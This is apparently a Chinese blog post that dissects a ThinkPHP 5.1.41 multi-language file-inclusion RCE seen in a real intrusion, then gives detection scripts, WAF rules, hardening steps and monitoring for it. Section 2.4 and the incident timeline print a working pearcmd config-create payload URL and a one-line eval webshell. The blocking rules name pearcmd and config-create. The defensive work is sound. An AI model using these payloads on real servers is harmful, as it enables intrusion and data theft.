【PHP/ThinkPHP】ThinkPHP 5.1.41 多语言文件包含 RCE 漏洞修复指南

举报
行者·全栈架构师 发表于 2026/11/01 19:19:24 2026/11/01
【摘要】 2026 年 4 月 8 日,我在对服务器上多个 ThinkPHP 站点进行例行安全巡检时,于其中一个站点的 `public/` 目录下发现了 3 个未知 PHP 文件——一行式 Webshell `9.php`、约 400 行的文件管理器 Webshell `q9.php`、以及 Adminer 数据库管理工具 `5.php`。溯源日志后发现,攻击发生在 2026 年 3 月 25 日,攻击者通

摘要: 2026 年 4 月 8 日,我在对服务器上多个 ThinkPHP 站点进行例行安全巡检时,于其中一个站点的 public/ 目录下发现了 3 个未知 PHP 文件——一行式 Webshell 9.php、约 400 行的文件管理器 Webshell q9.php、以及 Adminer 数据库管理工具 5.php。溯源日志后发现,攻击发生在 2026 年 3 月 25 日,攻击者通过 ThinkPHP 5.1.41 的多语言文件包含漏洞(CVE-2022-38352 的同源变种),利用服务器上的 pearcmd.php 写入持久化 Webshell。该漏洞的根因在于 Lang::detect() 方法对 $_GET['lang'] 参数未做路径过滤,攻击者可通过 ?lang=../../../../../usr/local/php/pearcmd 触发路径穿越,最终通过 include 加载 pearcmd.php 写入任意文件。本文从根因、攻击链、检测、修复到监控自动化,提供完整的实战指南。

1. 漏洞全景概览

1.1 漏洞速览

项目 详情
漏洞标识 ThinkPHP 5.1.x Multilingual File Inclusion RCE
关联 CVE CVE-2022-38352 同源变种(多语言文件包含路径)
公开时间 2022 年披露,2026 年仍有大规模在野利用
漏洞类型 路径穿越 + 文件包含(CWE-22 + CWE-98)
CVSS 评估 9.8(CRITICAL)
CWE 分类 CWE-22(路径穿越)、CWE-98(PHP 文件包含)
攻击向量 网络(无需认证)
影响组件 thinkphp/library/think/Lang.php 的 detect() 与 load() 方法
影响版本 ThinkPHP 5.1.x(含 5.1.41 LTS)、部分 5.0.x
修复版本 5.1.42+(多语言参数严格校验)
PoC 状态 公开(GitHub Issue + 多篇技术博客)
在野利用 持续活跃,2026 年仍有大规模扫描

1.2 与其他 ThinkPHP RCE 漏洞的对比

漏洞 入口参数 触发点 利用难度 修复版本
CVE-2018-20062(invokefunction) ?s= App::module 控制器名未校验 极低 5.0.24/5.1.31
CVE-2022-38352(反序列化) unserialize 入口 Psr6Cache POP 链 中 6.0.14
本文(多语言文件包含) ?lang= Lang::detect 路径未过滤 低 5.1.42
CVE-2019-9082(_method) _method= Request::method 未校验 极低 5.0.24/5.1.31

关键提醒:本漏洞常被忽视,因为很多运维人员认为 5.1.41 已修复 CVE-2018-20062 就安全了。但 5.1.41 仍受多语言文件包含漏洞影响,且利用条件极低(默认配置即可触发)。

1.3 漏洞核心特征

Mermaid 图表 1

2. 漏洞根因深度分析

2.1 ThinkPHP 多语言机制

ThinkPHP 5.1.x 内置多语言支持,通过 ?lang=zh-cn 切换语言。框架会根据 lang 参数加载对应的语言包文件:

请求: GET /?lang=zh-cn
加载: thinkphp/lang/zh-cn.php
加载: application/lang/zh-cn.php

正常情况下 lang 参数应为 zh-cn、en-us 这样的语言代码,但框架未对参数做严格校验,导致路径穿越。

2.2 根因:Lang::detect() 未过滤路径字符

漏洞代码位于 thinkphp/library/think/Lang.php:

// thinkphp/library/think/Lang.php
public function detect()
{
    $langSet = '';

    // 1. 从 $_GET 读取 lang 参数(关键缺陷:未过滤)
    if (isset($_GET[$this->langDetectVar])) {
        $langSet = strtolower($_GET[$this->langDetectVar]);
    }
    // ... 其他检测方式

    // 2. 关键缺陷:allow_lang_list 为空时,任何值都接受
    if (empty($this->allowLangList) || in_array($langSet, $this->allowLangList)) {
        $this->range = $langSet ?: $this->range;
    }

    return $this->range;
}

App::loadLangPack() 拼接文件路径:

// thinkphp/library/think/App.php
protected function loadLangPack()
{
    if ($this->config('app.lang_switch_on')) {
        $this->lang->detect();  // 读取用户输入的 lang
    }

    $this->request->setLangset($this->lang->range());

    // 关键缺陷:直接拼接用户输入到文件路径
    $this->lang->load([
        $this->thinkPath . 'lang/' . $this->request->langset() . '.php',
        $this->appPath . 'lang/' . $this->request->langset() . '.php',
    ]);
}

Lang::load() 使用 include 加载文件:

// thinkphp/library/think/Lang.php
public function load($file, $range = '')
{
    foreach ($file as $_file) {
        if (is_file($_file)) {
            // 关键缺陷:直接 include 用户可控路径
            $_lang = include $_file;
        }
    }
}

2.3 攻击链剖析

Mermaid 图表 2

2.4 pearcmd.php 利用详解

pearcmd.php 是 PHP PEAR 包管理器的命令行工具,默认随 PHP 一起安装。当被 include 加载时,它会解析 $_SERVER['argv'](来自 URL 查询字符串),支持 config-create 命令写入任意文件:

攻击 Payload:
GET /?+config-create+/<?php+eval($_POST[1]);?>+/var/www/html/shell.php&lang=../../../../../usr/local/lib/php/pearcmd

实际执行:
1. pearcmd.php 被 include 加载
2. 解析 argv: ['+config-create+', '<?php eval($_POST[1]);?>', '/var/www/html/shell.php']
3. 执行 config-create 命令
4. 将 <?php eval($_POST[1]);?> 写入 /var/www/html/shell.php
5. 攻击者通过 /shell.php 连接 Webshell

2.5 利用前提分析

利用前提(必须同时满足):

1. ✅ ThinkPHP 5.1.x(含 5.1.41 LTS)
2. ✅ 配置 `app.lang_switch_on = true`(默认开启)
3. ✅ 配置 `allow_lang_list` 为空(默认为空,接受任何值)
4. ✅ 服务器存在 pearcmd.php(PHP 默认安装即存在)
5. ✅ PHP 未禁用 include(无法禁用,PHP 核心功能)

⚠️ 关键风险点:

- 默认配置即满足利用条件,无需任何业务代码缺陷
- pearcmd.php 在大多数 PHP 安装中都存在
- 攻击 URL 仅 200 字节左右,可绕过部分 WAF
- 路径穿越字符 `../` 在 URL 中可编码为 `%2e%2e%2f` 绕过关键字匹配
- 即使 PHP 8+ 也受影响(pearcmd 仍存在)

3. 攻击场景与影响评估

3.1 真实攻击案例复盘

2026 年 4 月我处置的真实事件:

时间线:
- 2026-03-25 17:16:39 — 攻击者 IP 134.122.173.185 发起首次探测
  GET /?lang=../../../../../usr/local/php/pearcmd
- 2026-03-25 17:16:45 — 攻击者发起写入请求
  GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/safedog()+IbLLhEABVr.log
- 2026-03-25 ~ 2026-04-08 — 攻击者通过 Webshell 长期持久化访问
- 2026-04-08 — 巡检发现 public/ 目录下 3 个未知 PHP 文件

植入的 Webshell:
1. 9.php — 一行式 Webshell(约 50 字节)
   <?php @eval(base64_decode($_POST[1]));echo 8;?>
2. q9.php — 文件管理器 Webshell(约 400 行)
   - open_basedir 绕过(mkdir + chdir + ini_set 链)
   - XOR 加密通信(绕过 WAF)
   - 文件浏览/编辑/上传/下载/删除
   - 自毁功能
3. 5.php — Adminer 数据库管理工具
   - 攻击者用于直连数据库窃取数据

3.2 攻击流程时序

Mermaid 图表 3

3.3 典型攻击场景

场景一:批量扫描互联网暴露站点

攻击路径:
1. 攻击者用 fofa/quake 搜索 "ThinkPHP V5.1" 或 "X-Powered-By: ThinkPHP"
2. 对每个目标尝试 ?lang=../../../../../usr/local/php/pearcmd
3. 通过返回内容判断 pearcmd.php 是否存在
4. 找到存在路径后,发起 config-create 写入 Webshell
5. 通过 Webshell 批量控制站点

场景二:内网横向移动

攻击路径:
1. 攻击者已获得内网一台机器的访问权限
2. 内网扫描发现 ThinkPHP 5.1.x 站点
3. 利用多语言文件包含漏洞写入 Webshell
4. 以 Web 服务器为跳板继续横向移动
5. 最终达到域控或核心数据库

场景三:结合其他漏洞形成利用链

攻击路径:
1. 攻击者发现目标存在 Nginx 路径解析漏洞
2. 利用 ThinkPHP 多语言漏洞写入 PHP 文件到上传目录
3. 通过 Nginx 解析漏洞执行写入的 PHP 文件
4. 绕过 open_basedir 限制
5. 完全控制服务器

3.4 影响评估

影响维度 评估 说明
机密性 严重 可读取数据库凭证、配置文件、用户数据
完整性 严重 可写入任意文件、篡改业务数据
可用性 严重 可删除文件、关停服务
攻击门槛 极低 公开 PoC,单 URL 即可触发
利用难度 低 需要找到 pearcmd.php 路径,但有规律可循
持久化风险 极高 可写入多个 Webshell,难以彻底清除
修复紧迫度 极高 2026 年仍持续在野利用

4. 检测:如何判断是否已被利用

4.1 漏洞利用迹象

检测维度 异常迹象 检测方法
访问日志 URL 含 lang= + ../ 路径穿越 grep Nginx access.log
请求参数 URL 含 pearcmd、config-create grep access.log
文件异常 public/ 出现未知 PHP 文件 FIM 文件完整性监控
Webshell 特征 文件含 eval、base64_decode grep -r 扫描
进程异常 www-data 用户执行 curl/wget auditd
数据库异常 Adminer 入口异常访问 数据库访问日志
配置文件读取 异常读取 config/database.php 文件访问审计

4.2 日志检测脚本

从 Nginx 访问日志中识别多语言文件包含攻击。

#!/bin/bash
# thinkphp_multilang_detect.sh — ThinkPHP 多语言漏洞攻击检测
# 用法: ./thinkphp_multilang_detect.sh [日志路径]

LOG_FILE="${1:-/var/log/nginx/access.log}"

echo "===== ThinkPHP 多语言文件包含攻击检测 ====="
echo "目标日志: $LOG_FILE"
echo ""

# 1. 检查 lang 参数路径穿越
echo "[1] lang 参数路径穿越检测"
LANG_TRAVERSAL=$(grep -cE 'lang=[^&]*\.\./' "$LOG_FILE" 2>/dev/null || echo 0)
if [ "$LANG_TRAVERSAL" -gt 0 ]; then
    echo "    🔴 发现 $LANG_TRAVERSAL 条 lang 参数路径穿越攻击"
    echo "    攻击源 IP TOP 5:"
    grep -E 'lang=[^&]*\.\./' "$LOG_FILE" | awk '{print $1}' | sort | uniq -c | sort -rn | head -5
else
    echo "    ✅ 未发现 lang 路径穿越攻击"
fi

# 2. 检查 pearcmd 关键字
echo ""
echo "[2] pearcmd.php 利用检测"
PEARCMD=$(grep -c "pearcmd" "$LOG_FILE" 2>/dev/null || echo 0)
if [ "$PEARCMD" -gt 0 ]; then
    echo "    🔴 发现 $PEARCMD 条 pearcmd 利用尝试"
    echo "    攻击样本:"
    grep "pearcmd" "$LOG_FILE" | head -5
else
    echo "    ✅ 未发现 pearcmd 利用"
fi

# 3. 检查 config-create 命令
echo ""
echo "[3] config-create 命令检测"
CONFIG_CREATE=$(grep -c "config-create" "$LOG_FILE" 2>/dev/null || echo 0)
if [ "$CONFIG_CREATE" -gt 0 ]; then
    echo "    🔴 发现 $CONFIG_CREATE 条 config-create 文件写入尝试"
    echo "    ⚠️  服务器可能已被植入 Webshell!"
else
    echo "    ✅ 未发现 config-create 攻击"
fi

# 4. 检查 Base64 编码的 Webshell Payload
echo ""
echo "[4] Base64 Webshell Payload 检测"
B64_SHELL=$(grep -cE 'lang=[^&]*[A-Za-z0-9+/]{50,}' "$LOG_FILE" 2>/dev/null || echo 0)
if [ "$B64_SHELL" -gt 0 ]; then
    echo "    🔴 发现 $B64_SHELL 条可疑 Base64 Payload"
else
    echo "    ✅ 未发现可疑 Base64 Payload"
fi

# 5. 检查可疑的 PHP 文件访问
echo ""
echo "[5] 可疑 PHP 文件访问检测"
SUSPICIOUS_FILES=$(grep -oE '/[a-z0-9]+\.php' "$LOG_FILE" 2>/dev/null | sort -u | grep -vE "(index|login|admin|api|test)\.php" | head -20)
if [ -n "$SUSPICIOUS_FILES" ]; then
    echo "    ⚠️  可疑 PHP 文件访问:"
    echo "$SUSPICIOUS_FILES"
fi

echo ""
echo "===== 检测完成 ====="

4.3 Webshell 深度排查脚本

被攻击后的服务器必须深度排查 Webshell 后门。

#!/bin/bash
# webshell_deep_scan.sh — ThinkPHP Webshell 深度扫描
# 用法: ./webshell_deep_scan.sh [Web根目录]

WEB_ROOT="${1:-/var/www/html}"

echo "===== Webshell 深度扫描 ====="
echo "扫描目录: $WEB_ROOT"
echo ""

# 1. 扫描所有 PHP 文件中的危险函数
echo "[1] 危险函数扫描"
echo "    包含 eval/base64_decode/assert 的文件:"
grep -rlE "(eval\s*\(|base64_decode\s*\(|assert\s*\(|preg_replace.*/e|create_function\s*\()" \
    "$WEB_ROOT" --include="*.php" 2>/dev/null | while read file; do
    SIZE=$(wc -c < "$file")
    MTIME=$(stat -c %y "$file" 2>/dev/null | cut -d. -f1)
    echo "    $file (大小: ${SIZE}B, 修改: $MTIME)"
done

# 2. 扫描一行式 Webshell
echo ""
echo "[2] 一行式 Webshell 扫描"
find "$WEB_ROOT" -name "*.php" -type f -exec awk 'NR==1 && length($0) < 200 && /eval|assert|system/ {print FILENAME": "$0}' {} \; 2>/dev/null

# 3. 扫描文件管理器 Webshell 特征
echo ""
echo "[3] 文件管理器 Webshell 特征扫描"
grep -rlE "(move_uploaded_file|copy\s*\(|fopen\s*\(|file_put_contents.*\\\$_)" \
    "$WEB_ROOT" --include="*.php" 2>/dev/null | head -10

# 4. 扫描 Adminer 等数据库管理工具
echo ""
echo "[4] 数据库管理工具扫描"
find "$WEB_ROOT" -name "*.php" -type f -exec grep -l "adminer\|phpmyadmin\|AdminerEventHandler" {} \; 2>/dev/null

# 5. 扫描 XOR 加密 Webshell
echo ""
echo "[5] XOR 加密 Webshell 扫描"
grep -rlE "(\^.*\^|\bxor\b)" "$WEB_ROOT" --include="*.php" 2>/dev/null | head -10

# 6. 扫描 open_basedir 绕过特征
echo ""
echo "[6] open_basedir 绕过特征扫描"
grep -rlE "(mkdir.*chdir.*ini_set|ini_set.*open_basedir)" "$WEB_ROOT" --include="*.php" 2>/dev/null

# 7. 检查最近修改的文件
echo ""
echo "[7] 最近 30 天修改的 PHP 文件"
find "$WEB_ROOT" -name "*.php" -mtime -30 -type f 2>/dev/null | head -20

# 8. 检查隐藏文件
echo ""
echo "[8] 隐藏文件扫描"
find "$WEB_ROOT" -name ".*" -type f 2>/dev/null | head -10

# 9. 检查 crontab 后门
echo ""
echo "[9] crontab 后门检测"
for user in www-data nginx apache root; do
    CRON_FILE="/var/spool/cron/crontabs/$user"
    if [ -f "$CRON_FILE" ]; then
        echo "    $user 的 crontab:"
        cat "$CRON_FILE"
    fi
done

# 10. 检查 SSH authorized_keys
echo ""
echo "[10] SSH authorized_keys 检测"
for home in /home/* /root; do
    AUTH_KEYS="$home/.ssh/authorized_keys"
    if [ -f "$AUTH_KEYS" ]; then
        KEY_COUNT=$(wc -l < "$AUTH_KEYS")
        if [ "$KEY_COUNT" -gt 0 ]; then
            echo "    $AUTH_KEYS: $KEY_COUNT 个公钥"
        fi
    fi
done

# 11. 检查 systemd 服务后门
echo ""
echo "[11] systemd 服务后门检测"
find /etc/systemd/system -name "*.service" -mtime -30 -type f 2>/dev/null | head -10

# 12. 检查 PHP 配置文件修改
echo ""
echo "[12] PHP 配置文件修改检测"
find /etc/php -name "*.ini" -mtime -30 -type f 2>/dev/null | head -10

echo ""
echo "===== 扫描完成 ====="
echo "⚠️  如发现可疑文件,请立即隔离服务器并启动应急响应流程"

4.4 版本与配置自查

#!/bin/bash
# thinkphp_multilang_config_check.sh — 多语言配置自查
# 用法: ./thinkphp_multilang_config_check.sh [项目根目录]

PROJECT_ROOT="${1:-/var/www/html}"

echo "===== ThinkPHP 多语言配置自查 ====="
echo ""

# 1. 版本检查
echo "[1] ThinkPHP 版本检查"
LOCK_FILE="$PROJECT_ROOT/composer.lock"
if [ -f "$LOCK_FILE" ]; then
    VERSION=$(grep -A2 '"name": "topthink/framework"' "$LOCK_FILE" | grep -oP '"version": "\K[^"]+' | head -1)
    echo "    当前版本: $VERSION"

    if echo "$VERSION" | grep -qE "^v?5\.1\.[0-9]$|^v?5\.1\.3[0-9]$|^v?5\.1\.4[01]$"; then
        echo "    🔴 受多语言漏洞影响,请升级到 5.1.42+"
    fi
fi

# 2. 多语言开关检查
echo ""
echo "[2] 多语言开关检查"
CONFIG_FILE="$PROJECT_ROOT/application/config.php"
if [ -f "$CONFIG_FILE" ]; then
    LANG_SWITCH=$(grep -oP "lang_switch_on.*?=>.*?(true|false)" "$CONFIG_FILE" | head -1)
    echo "    $LANG_SWITCH"

    if echo "$LANG_SWITCH" | grep -q "true"; then
        echo "    ⚠️  多语言开关已开启,需检查 allow_lang_list"
    fi
fi

# 3. allow_lang_list 检查
echo ""
echo "[3] allow_lang_list 配置检查"
ALLOW_LANG=$(grep -oP "allow_lang_list.*?=>.*?\[.*?\]" "$CONFIG_FILE" 2>/dev/null | head -1)
if [ -n "$ALLOW_LANG" ]; then
    echo "    $ALLOW_LANG"
    if echo "$ALLOW_LANG" | grep -q "\[\s*\]"; then
        echo "    🔴 allow_lang_list 为空,存在漏洞利用条件"
    else
        echo "    ✅ allow_lang_list 已配置白名单"
    fi
else
    echo "    🔴 未配置 allow_lang_list(默认为空,存在漏洞)"
fi

# 4. pearcmd.php 存在性检查
echo ""
echo "[4] pearcmd.php 存在性检查"
PEARCMD_PATHS=(
    "/usr/local/php/pearcmd.php"
    "/usr/local/lib/php/pearcmd.php"
    "/usr/share/php/pearcmd.php"
    "/usr/lib/php/pearcmd.php"
)

for path in "${PEARCMD_PATHS[@]}"; do
    if [ -f "$path" ]; then
        echo "    🔴 发现 $path"
    fi
done

# 5. 检查 public 目录异常文件
echo ""
echo "[5] public 目录异常文件"
if [ -d "$PROJECT_ROOT/public" ]; then
    PUBLIC_PHP=$(find "$PROJECT_ROOT/public" -name "*.php" -type f 2>/dev/null | \
        grep -vE "(index.php|router.php|think.php)")
    if [ -n "$PUBLIC_PHP" ]; then
        echo "    ⚠️  发现非标准 PHP 文件:"
        echo "$PUBLIC_PHP"
    else
        echo "    ✅ 未发现异常 PHP 文件"
    fi
fi

echo ""
echo "===== 自查完成 ====="

5. 修复方案

5.1 升级 ThinkPHP(推荐)

升级到 5.1.42+ 是最彻底的修复方案,5.1.42 中 Lang::detect() 增加了对 lang 参数的路径字符过滤。

修复版本对照表:

版本线 受影响范围 修复版本
ThinkPHP 5.1.x 5.1.0 - 5.1.41 5.1.42+
ThinkPHP 5.0.x 部分版本 5.0.24+
ThinkPHP 6.x 不受此漏洞影响 —

通过 Composer 升级:

# 进入项目根目录
cd /var/www/your-thinkphp-project

# 备份当前配置
cp composer.json composer.json.bak
cp composer.lock composer.lock.bak

# 升级到 5.1.42
composer require topthink/framework:^5.1.42 --update-with-all-dependencies

# 验证版本
php think version
# 预期: v5.1.42

# 验证修复:尝试发送 PoC(应被拦截)
curl "http://localhost/?lang=../../../../../usr/local/php/pearcmd"
# 预期: HTTP 404 或不加载 pearcmd.php

5.2 配置加固(强烈推荐)

5.2.1 关闭多语言开关

如果业务不需要多语言支持,直接关闭是最简单的修复。

// application/config.php
'lang_switch_on' => false,  // 关闭多语言

5.2.2 配置 allow_lang_list 白名单

即使开启多语言,白名单限制只允许合法语言代码。

// application/config.php
'lang_switch_on'   => true,
'allow_lang_list'  => ['zh-cn', 'en-us'],  // 仅允许这两种语言

修复后的 Lang::detect() 逻辑:

public function detect()
{
    $langSet = '';

    if (isset($_GET[$this->langDetectVar])) {
        $langSet = strtolower($_GET[$this->langDetectVar]);
    }

    // 修复后:白名单校验
    if (empty($this->allowLangList) || in_array($langSet, $this->allowLangList)) {
        $this->range = $langSet ?: $this->range;
    }
    // 如果不在白名单,使用默认语言
}

5.2.3 删除或重命名 pearcmd.php

消除利用链的关键环节,即使漏洞存在也无法写入文件。

# 查找 pearcmd.php 位置
find / -name "pearcmd.php" 2>/dev/null
find / -name "pear" -type f 2>/dev/null

# 删除或重命名(推荐重命名,保留功能)
mv /usr/local/php/pearcmd.php /usr/local/php/pearcmd.php.disabled
mv /usr/local/lib/php/pearcmd.php /usr/local/lib/php/pearcmd.php.disabled
mv /usr/share/php/pearcmd.php /usr/share/php/pearcmd.php.disabled

# 或彻底删除(如果业务不使用 PEAR)
rm -f /usr/local/php/pearcmd.php
rm -f /usr/local/lib/php/pearcmd.php

# 验证
find / -name "pearcmd.php" 2>/dev/null
# 预期: 无输出

5.2.4 入口文件拦截危险 lang 参数

作为兜底防护,即使框架未升级也可拦截攻击。

// public/index.php — 在 require thinkphp/start.php 之前添加

// 拦截多语言文件包含攻击
if (isset($_GET['lang'])) {
    $lang = $_GET['lang'];

    // 1. 检查路径穿越字符
    if (strpos($lang, '../') !== false ||
        strpos($lang, '..\\') !== false ||
        strpos($lang, '%2e%2e') !== false) {
        http_response_code(403);
        die('Illegal language parameter');
    }

    // 2. 检查路径分隔符
    if (strpos($lang, '/') !== false || strpos($lang, '\\') !== false) {
        http_response_code(403);
        die('Illegal language parameter');
    }

    // 3. 白名单校验
    $allow_lang = ['zh-cn', 'en-us', 'zh-tw', 'ja-jp', 'ko-kr'];
    if (!in_array(strtolower($lang), $allow_lang)) {
        http_response_code(403);
        die('Unsupported language');
    }
}

5.3 WAF 规则

5.3.1 Nginx 拦截规则

# /etc/nginx/conf.d/thinkphp-multilang-waf.conf

# 拦截 lang 参数路径穿越
if ($arg_lang ~* "(\.\./|\.\.\\|%2e%2e|/|\\)") {
    return 403;
}

# 拦截 pearcmd 关键字
if ($request_uri ~* "pearcmd") {
    return 403;
}

# 拦截 config-create 命令
if ($request_uri ~* "config-create") {
    return 403;
}

# 仅允许合法的 lang 值
if ($arg_lang !~* "^(zh-cn|en-us|zh-tw|ja-jp|ko-kr)$") {
    # 如果 lang 参数存在但值不合法,重置为默认
    # 注意:Nginx if 不能直接修改参数,需要用 rewrite
    # 这里采用直接拒绝的策略
    if ($arg_lang) {
        return 403;
    }
}

5.3.2 ModSecurity 规则

# /etc/modsecurity/rules/thinkphp-multilang.conf

# 规则 1: 拦截 lang 参数路径穿越
SecRule ARGS:lang "@rx (\.\./|\.\.\\|%2e%2e|/|\\)" \
    "id:100020,phase:2,deny,status:403,log,msg:'ThinkPHP Multilang Path Traversal'"

# 规则 2: 拦截 pearcmd 关键字
SecRule ARGS|REQUEST_URI "@rx (?i)pearcmd" \
    "id:100021,phase:2,deny,status:403,log,msg:'ThinkPHP Multilang pearcmd Exploit'"

# 规则 3: 拦截 config-create 命令
SecRule ARGS|REQUEST_URI "@rx (?i)config-create" \
    "id:100022,phase:2,deny,status:403,log,msg:'ThinkPHP Multilang config-create Attack'"

# 规则 4: lang 参数白名单
SecRule ARGS:lang "!@rx ^(zh-cn|en-us|zh-tw|ja-jp|ko-kr)$" \
    "id:100023,phase:2,deny,status:403,log,msg:'ThinkPHP Multilang Invalid Language',chain"
    SecRule ARGS:lang "!@streq ''"

5.4 文件权限加固

# 1. public 目录设为只读(除 runtime 外)
chown -R root:root /var/www/your-project/public
chown -R www-data:www-data /var/www/your-project/runtime

# 2. public 目录权限
find /var/www/your-project/public -type d -exec chmod 755 {} \;
find /var/www/your-project/public -type f -exec chmod 644 {} \;

# 3. 关键文件设为不可变(防止 Webshell 写入)
chattr +i /var/www/your-project/public/index.php
chattr +i /var/www/your-project/public/router.php

# 4. PHP-FPM 用户对 public 目录只读
# 配置 php-fpm pool.d/www.conf
# user = www-data
# group = www-data
# 确保 www-data 对 public 只有读权限
# Nginx 禁止 public 目录写权限
location ~ ^/(?!index\.php|robots\.txt|favicon\.ico) {
    # 仅允许静态资源访问
    try_files $uri =404;
}

# 禁止访问 .php 文件(除 index.php 外)
location ~ \.php$ {
    if ($request_uri !~ ^/index\.php) {
        return 403;
    }
    fastcgi_pass unix:/run/php/php8.x-fpm.sock;
    # ...
}

6. 踩坑记录

6.1 升级 5.1.42 后多语言切换失效

现象:
升级到 5.1.42 后,业务接口 /?lang=zh-tw 返回 403。

根因:
5.1.42 严格校验 lang 参数,业务使用的 zh-tw 未加入 allow_lang_list。

解决:
1. 配置 allow_lang_list 白名单,包含业务需要的所有语言
2. 配置文件:'allow_lang_list' => ['zh-cn', 'zh-tw', 'en-us']
3. 测试所有语言切换接口

教训:
升级前必须梳理业务用到的所有 lang 参数值,配置完整白名单。

6.2 删除 pearcmd.php 后 PEAR 命令不可用

现象:
删除 pearcmd.php 后,开发同事报告无法安装 PEAR 包。

根因:
pearcmd.php 是 PEAR 包管理器的核心文件,删除后 PEAR 命令失效。

解决:
1. 评估业务是否真的需要 PEAR
2. 现代项目建议用 Composer 替代 PEAR
3. 如必须保留,将 pearcmd.php 移到 Web 根目录之外
4. 配置 php.ini 的 include_path 不包含 Web 根目录

教训:
删除系统文件前评估业务影响,提供替代方案。

6.3 WAF 规则误伤正常多语言切换

现象:
配置 WAF 规则 "拦截 lang 参数中的 /" 后,正常 /?lang=zh-cn 返回 403。

根因:
正常语言代码 zh-cn 不含 /,但 WAF 规则匹配过于宽松。

解决:
1. 规则改为精确匹配路径穿越:\.\./
2. 仅拦截含 ../ 或 ..\ 的 lang 参数
3. 白名单允许 zh-cn、en-us 等标准格式

教训:
WAF 规则要精确匹配攻击特征,避免误伤正常业务。

6.4 已被攻击的服务器清理不彻底

现象:
清理 Webshell 后 1 周,发现攻击者再次访问。

根因:
仅清理了 public/ 下的 Webshell,遗漏了:
1. /tmp/ 目录下的隐藏 Webshell
2. crontab 中的定时任务
3. ~/.ssh/authorized_keys 中的公钥
4. systemd 服务后门
5. PHP 配置文件中的 auto_prepend_file

解决:
1. 全盘扫描,不只关注 public 目录
2. 检查所有用户 crontab
3. 检查 authorized_keys
4. 检查 systemd 服务
5. 检查 php.ini 中的 auto_prepend_file
6. 重置所有服务器凭证(SSH 密钥、数据库密码)
7. 服务器下线重装系统(最彻底)

教训:
被 RCE 的服务器不能只清理 Webshell,必须重装或全盘审计。

运维监控与自动化保障

监控项设计

监控项 Prometheus 指标 告警阈值 检测频率
ThinkPHP 版本 thinkphp_version_info 版本 < 5.1.42 每小时
lang 参数路径穿越攻击 thinkphp_attack_total{type="lang_traversal"} 5 分钟内 > 5 次 实时
pearcmd 利用尝试 thinkphp_attack_total{type="pearcmd_exploit"} 任意一次即告警 实时
Webshell 写入 thinkphp_attack_total{type="webshell_write"} 任意一次即告警 实时
public 目录文件变更 web_file_change_total{dir="public"} 1 小时内 > 1 个 实时
pearcmd.php 存在性 pearcmd_file_exists 存在即告警 每小时
多语言配置异常 thinkphp_config_lang_switch_on 开启且 allow_lang_list 为空 每小时

Prometheus 告警规则

# /etc/prometheus/rules/thinkphp-multilang.yml
groups:
  - name: thinkphp-multilang
    rules:
      # 规则 1: ThinkPHP 版本过低
      - alert: ThinkPHPMultilangOutdatedVersion
        expr: thinkphp_version_info{major="5",minor="1",patch!~"(4[2-9]|[5-9][0-9])"} == 1
        for: 1h
        labels:
          severity: critical
        annotations:
          summary: "ThinkPHP 版本过低,存在多语言漏洞"
          description: "实例 {{ $labels.instance }} 当前版本 5.1.{{ $labels.patch }},请升级到 5.1.42+"

      # 规则 2: lang 参数路径穿越攻击
      - alert: ThinkPHPLangPathTraversal
        expr: increase(thinkphp_attack_total{type="lang_traversal"}[5m]) > 5
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "检测到 lang 参数路径穿越攻击"
          description: "实例 {{ $labels.instance }} 5 分钟内收到 {{ $value }} 次 lang 路径穿越攻击"

      # 规则 3: pearcmd 利用尝试
      - alert: ThinkPHPPearcmdExploit
        expr: increase(thinkphp_attack_total{type="pearcmd_exploit"}[1m]) > 0
        for: 0s
        labels:
          severity: critical
        annotations:
          summary: "检测到 pearcmd.php 利用尝试"
          description: "实例 {{ $labels.instance }} 检测到 pearcmd 攻击,可能正在写入 Webshell"

      # 规则 4: Webshell 写入
      - alert: ThinkPHPWebshellWrite
        expr: increase(thinkphp_attack_total{type="webshell_write"}[1m]) > 0
        for: 0s
        labels:
          severity: critical
        annotations:
          summary: "检测到 Webshell 写入"
          description: "实例 {{ $labels.instance }} 检测到通过多语言漏洞写入 Webshell"

      # 规则 5: public 目录文件变更
      - alert: PublicDirFileChange
        expr: increase(web_file_change_total{dir="public"}[1h]) > 1
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "public 目录文件异常变更"
          description: "实例 {{ $labels.instance }} 1 小时内有 {{ $value }} 个文件变更"

      # 规则 6: pearcmd.php 仍存在
      - alert: PearcmdFileExists
        expr: pearcmd_file_exists == 1
        for: 1h
        labels:
          severity: warning
        annotations:
          summary: "pearcmd.php 仍存在"
          description: "实例 {{ $labels.instance }} 检测到 pearcmd.php,建议删除或重命名"

      # 规则 7: 多语言配置不安全
      - alert: InsecureMultilangConfig
        expr: thinkphp_config_lang_switch_on == 1 and thinkphp_config_allow_lang_list_empty == 1
        for: 1h
        labels:
          severity: warning
        annotations:
          summary: "多语言配置不安全"
          description: "实例 {{ $labels.instance }} 开启多语言但未配置 allow_lang_list 白名单"

自动化巡检脚本

#!/bin/bash
# thinkphp_multilang_patrol.sh — ThinkPHP 多语言安全巡检
# 用法: 由 crontab 每日执行

THINKPHP_ROOT="${1:-/var/www/html}"
LOG_DIR="/var/log/nginx"
REPORT_FILE="/tmp/thinkphp_multilang_patrol_$(date +%Y%m%d).log"
ALERT_EMAIL="${ALERT_EMAIL:-ops@example.com}"

echo "===== ThinkPHP 多语言安全巡检 $(date) =====" > "$REPORT_FILE"
echo "项目根目录: $THINKPHP_ROOT" >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"

# 1. 版本检查
echo "[1] ThinkPHP 版本检查" >> "$REPORT_FILE"
LOCK_FILE="$THINKPHP_ROOT/composer.lock"
if [ -f "$LOCK_FILE" ]; then
    VERSION=$(grep -A2 '"name": "topthink/framework"' "$LOCK_FILE" | grep -oP '"version": "\K[^"]+' | head -1)
    echo "    当前版本: $VERSION" >> "$REPORT_FILE"

    if echo "$VERSION" | grep -qE "^v?5\.1\.[0-9]$|^v?5\.1\.3[0-9]$|^v?5\.1\.4[01]$"; then
        echo "    🔴 严重: 版本受多语言漏洞影响,请升级到 5.1.42+" >> "$REPORT_FILE"
        SEVERITY=critical
    fi
fi
echo "" >> "$REPORT_FILE"

# 2. 多语言配置检查
echo "[2] 多语言配置检查" >> "$REPORT_FILE"
CONFIG_FILE="$THINKPHP_ROOT/application/config.php"
if [ -f "$CONFIG_FILE" ]; then
    LANG_SWITCH=$(grep -oP "lang_switch_on.*?=>.*?(true|false)" "$CONFIG_FILE" | head -1)
